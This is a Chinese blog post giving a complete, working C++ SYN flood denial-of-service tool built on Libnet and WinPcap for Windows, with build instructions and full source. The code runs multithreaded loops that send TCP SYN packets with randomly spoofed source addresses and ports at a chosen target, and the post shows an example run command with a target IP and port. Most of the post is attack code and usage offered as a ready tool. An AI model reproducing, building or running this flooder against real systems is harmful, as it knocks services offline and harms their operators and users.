基于 LibNET 的 SYN Flood 攻击

使用 C++ 基于 Libnet 编写的 SYN 洪水拒绝服务攻击工具,支持多线程。

原理

以上两个链接分别是 SYN 洪水攻击和拒绝服务攻击的维基百科。基本原理就是在 TCP 建立连接的三次握手过程中,伪造其它 IP 地址,并向服务器发送 SYN,消耗服务器带宽和 CPU 资源。攻击效果取决于参与攻击的肉鸡数量、网络状况、受攻击方的防范能力。

Libnet 环境配置

工具基于 Libnet 编写,Windows下的环境配置较复杂,英文版配置说明可参考托管在 GitHub 上的 README。具体配置如下:

  • 这里下载 LibNET 源代码,从这里下载 WinPcap 的安装包。之后,从这里下载 WpdPack 源代码。
  • 假设你将 LibNET 源代码包解压到 E:\libnet-1.2-rc3,将 WpdPack 包解压到 E:\WpdPackE:\libnet-1.2-rc3\libnet 下有一个文件夹 win32。你需要使用该目录下的代码建立一个 VS 工程。
  • 配置这个工程:在 E:\libnet-1.2-rc3\libnetE:\WpdPack 下均有一个名为 include 的文件夹,如果你解压的位置和我上一步教程中相同,则这两个文件夹的路径分别为 E:\libnet-1.2-rc3\libnet\includeE:\WpdPack\include。 将这两个路径添加到工程的 VC++ Include 目录。
  • 将 WpdPack 的 Lib 目录添加到工程的 VC++ Lib 目录,这里是 E:\WpdPack\Lib.
  • 编辑 E:\libnet-1.2-rc3\libnet\win32 下的 in_systm.h,在其末尾添加
1
2
3
typedef char int8_t;
typedef short int16_t;
typedef int int32_t;
  • 现在你可以生成解决方案,如果生成成功,你将在 E:\libnet-1.2-rc3\libnet\win32\Debug 下生成 Libnet.dllLibnet.lib。将它们复制到 C:\Windows\System32C:\Windows\SysWOW64。至此,LibNET 环境配置完成。

工程环境配置

  • 新建一个 VS 工程,目前工程为空。你可以从我托管在 GitHub 上的 仓库 下载源代码:SYNFlood.cppwingetopt.h
  • 设置工程:将 E:\libnet-1.2-rc3\libnet\includeE:\libnet-1.2-rc3\libnet\srcE:\libnet-1.2-rc3\libnet\include\libnetE:\WpdPack\IncludeE:\WpdPack\Include\pcap 添加到工程的 VC++ 目录。
  • 添加 E:\WpdPack\LibE:\WpdPack\Lib\x64E:\libnet-1.2-rc3\libnet\win32\Debug 添加到工程的 VC++ 链接目录。
  • 在工程的链接器输入附加项中添加 libnet.lib
  • E:\libnet-1.2-rc3\libnet\win32\Debug 添加到链接器附加目录。
  • 生成可执行文件。

头文件和宏定义

工程使用到的头文件、宏定义、全局变量和结构体定义如下,其中:

  • wingetopt.h 是为 Windows 平台编写的 POSIX 系统下的 getopt.h
  • libnet_timersub 宏用于延时
  • gettimeofday 是模仿 POSIX 系统下的 gettimeofday 函数编写的 Windows 版本
  • usage 生成提示信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <sys/utime.h>
#include <libnet.h>
#include "wingetopt.h"
#include <windows.h>
#include <process.h>
#include <stdlib.h>
#include <stdint.h>
#include <pcap.h>
#pragma pack (1)

#pragma comment(lib,"wpcap.lib")
#pragma comment(lib,"ws2_32.lib")
#define PCAP_OPENFLAG_PROMISCUOUS 1

char errbuf[PCAP_ERRBUF_SIZE];
char name[1001];

#define libnet_timersub(tvp, uvp, vvp) \
do { \
(vvp)->tv_sec = (tvp)->tv_sec - (uvp)->tv_sec; \
(vvp)->tv_usec = (tvp)->tv_usec - (uvp)->tv_usec; \
if ((vvp)->tv_usec < 0) { \
(vvp)->tv_sec--; \
(vvp)->tv_usec += 1000000; \
} \
} while (0)


u_long dst_ip = 0;
u_short dst_prt = 0;
int speed = 0;

struct t_pack{
struct libnet_ipv4_hdr ip;
struct libnet_tcp_hdr tcp;
};

int gettimeofday(struct timeval * tp, struct timezone * tzp){
static const uint64_t EPOCH = ((uint64_t)116444736000000000ULL);
SYSTEMTIME system_time;
FILETIME file_time;
uint64_t time;

GetSystemTime(&system_time);
SystemTimeToFileTime(&system_time, &file_time);
time = ((uint64_t)file_time.dwLowDateTime);
time += ((uint64_t)file_time.dwHighDateTime) << 32;

tp->tv_sec = (long)((time - EPOCH) / 10000000L);
tp->tv_usec = (long)(system_time.wMilliseconds * 1000);
return 0;
}

void usage(char *nomenclature){
fprintf(stderr,
"\nusage: %s -t [-s -p]\n"
"\t-t target (ip.address.port: 192.168.1.193.80)\n"
"\t-s number of packets to send per second (defaults to max speed)\n"
"\t-p number of threads to send packets (defaults to 1)\n" , nomenclature);
}

选择网卡

函数 select_adapter 用于选择发送 SYN 数据包的网卡,它将列出检测到的所有网卡并由用户输入选择。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int select_adapter(pcap_t **handle) {
pcap_if_t *alldevs;
pcap_if_t *d;
int inum, i=0;

if(pcap_findalldevs(&alldevs, errbuf) == -1){
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
for(d = alldevs; d; d = d->next){
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
if(!i){
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return -1;
}
printf("Choose the interface (1-%d):",i);
scanf_s("%d", &inum);

if(inum < 1 || inum > i){
printf("\nInterface number out of range.\n");
pcap_freealldevs(alldevs);
return -1;
}

/* Jump to the selected adapter */
for(d = alldevs, i = 0; i < inum-1 ; d = d->next, i++);

if ((*handle= pcap_open_live(
d->name, // name of the device
65536, // portion of the packet to capture.
// 65536 grants that the whole packet will be captured on all the MACs.
PCAP_OPENFLAG_PROMISCUOUS,
// promiscuous mode (nonzero means promiscuous)
1000, // read timeout
errbuf // error buffer
)) == NULL){
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
pcap_freealldevs(alldevs);
return -1;
}
strcpy_s(name,d->name);
printf("Successfully Open the adapter <%s> \n", d->description);
return TRUE;
}

发送线程函数

此函数用于构造并发送 SYN 数据包:

  • 根据用户指定参数生成的 speed 的不同,默认全速发送(speed = 0),否则根据 speed 的值在每次发送后延时
  • 构造的 SYN 包中,IP 包中的源 IP 和 TCP 包头中的源端口均为随机数
  • libnet_write 用于发送数据包
  • llibnet 中的上下文
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
unsigned int __stdcall send_syn(PVOID argv){
struct timeval r;
struct timeval s;
struct timeval e;
libnet_ptag_t t = LIBNET_PTAG_INITIALIZER;
u_int32_t src_ip;
char errbuf[LIBNET_ERRBUF_SIZE];
u_short src_prt;

libnet_t *l = libnet_init(
LIBNET_RAW4, /* injection type */
name, /* network interface */
errbuf); /* errbuf */
if (l == NULL){
fprintf(stderr, "libnet_init() failed: %s", errbuf);
return 0;
}
libnet_seed_prand(l);

if(speed == 0){
while (1){
t = libnet_build_tcp(
src_prt = libnet_get_prand(LIBNET_PRu16),
dst_prt,
libnet_get_prand(LIBNET_PRu32), // sequence number
0, // acknowledgement num
TH_SYN,
libnet_get_prand(LIBNET_PRu16), // window size
0,
0,
LIBNET_TCP_H,
NULL,
0,
l,
0);

libnet_build_ipv4(
LIBNET_TCP_H + LIBNET_IPV4_H,
0,
libnet_get_prand(LIBNET_PRu16),
0,
libnet_get_prand(LIBNET_PR8),
IPPROTO_TCP,
0,
src_ip = libnet_get_prand(LIBNET_PRu32),
dst_ip,
NULL,
0,
l,
0);
int c = libnet_write(l);
if (c == -1){
fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
}
libnet_clear_packet(l);
}
} else {
while (1){
gettimeofday(&s, NULL);
for(int i = 0; i < speed; i++){
t = libnet_build_tcp(
src_prt = libnet_get_prand(LIBNET_PRu16),
dst_prt,
libnet_get_prand(LIBNET_PRu32), // sequence number
0, // acknowledgement num
TH_SYN,
libnet_get_prand(LIBNET_PRu16), // window size
0,
0,
LIBNET_TCP_H,
NULL,
0,
l,
t);
libnet_build_ipv4(
LIBNET_TCP_H + LIBNET_IPV4_H,
0,
libnet_get_prand(LIBNET_PRu16),
0,
libnet_get_prand(LIBNET_PR8),
IPPROTO_TCP,
0,
src_ip = libnet_get_prand(LIBNET_PRu32),
dst_ip,
NULL,
0,
l,
0);
int c = libnet_write(l);
if (c == -1) {
fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
}
libnet_clear_packet(l);
}
gettimeofday(&e, NULL);
libnet_timersub(&e, &s, &r);
if (r.tv_sec < 1) {
Sleep((1000000 - r.tv_usec)/1000);
}
}
}
libnet_destroy(l);
return 1;
}

主函数

主函数主要处理用户输入参数并将其格式化,之后根据用户输入参数启动发送线程,线程启动间隔 1s,整个攻击默认持续 12 分钟结束,可以通过 CTRL+C 结束。getopt 按照 ip.port 的格式对输入参数 -t 做划分,例如用户指定攻击的目标 IP 为 10.3.8.211,端口 80,则输入参数 -t 对应 10.3.8.211.80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int main(int argc, char **argv) {
libnet_t *l;
char *cp;
char errbuf[LIBNET_ERRBUF_SIZE];
int c, whole_speed = 0, thread_num = 1;
pcap_t *handle = 0;

select_adapter(&handle);

l = libnet_init(
LIBNET_RAW4, /* injection type */
name, /* network interface */
errbuf); /* error buffer */

if (l == NULL){
fprintf(stderr, "libnet_init() failed: %s", errbuf);
exit(EXIT_FAILURE);
}

while((c = getopt(argc, argv, "t:s:p:")) != EOF){
switch (c) {
case 't':
if (!(cp = strrchr(optarg, '.'))){
usage(argv[0]);
exit(EXIT_FAILURE);
}
*cp++ = 0;
dst_prt = (u_short)atoi(cp);
if ((dst_ip = libnet_name2addr4(l, optarg, 1)) == -1){
fprintf(stderr, "Bad IP address: %s\n", optarg);
exit(EXIT_FAILURE);
}
break;
case 's':
whole_speed = atoi(optarg);
break;
case 'p':
thread_num = atoi(optarg);
break;
default:
usage(argv[0]);
exit(EXIT_FAILURE);
}
}
libnet_destroy(l);

if (!dst_prt || !dst_ip){
usage(argv[0]);
exit(EXIT_FAILURE);
}
speed = whole_speed / thread_num;

for(int i = 0; i < thread_num; i++){
HANDLE handle = (HANDLE)_beginthreadex(NULL, 0, send_syn, NULL, 0, NULL);
if (handle < 0){
printf("can't create send_syn thread!\n");
}
Sleep(1000);
}
Sleep(1200*1000);
}

运行

生成程序支持三个参数:

  • -t:设置目标的 IP 地址和端口
  • -s:设置每个线程每秒钟发送的 SYN 数据包数量,若未指定则默认为 0,即全速发送
  • -p:设置同时发送 SYN 数据包的线程数

例如,同时启动 4 个攻击线程,每个线程每秒发送 200 个伪造 SYN 数据包,攻击目标为 10.3.8.211:80synFlood.exe -t 10.3.8.211.80 -s 200 -p 4

启动程序并开始发送后,使用 wireshark 可以捕获到伪造的 SYN 数据包,其中攻击我的 CVM 截图如下,因为 CVM 供应商提供了 DDOS 防护措施,CVM 上的 Web 服务器未收到明显影响。


原创作品,允许转载,转载时无需告知,但请务必以超链接形式标明文章原始出处(http://blog.forec.cn/2016/11/20/ddos-syn-attack/) 、作者信息(Forec)和本声明。

分享到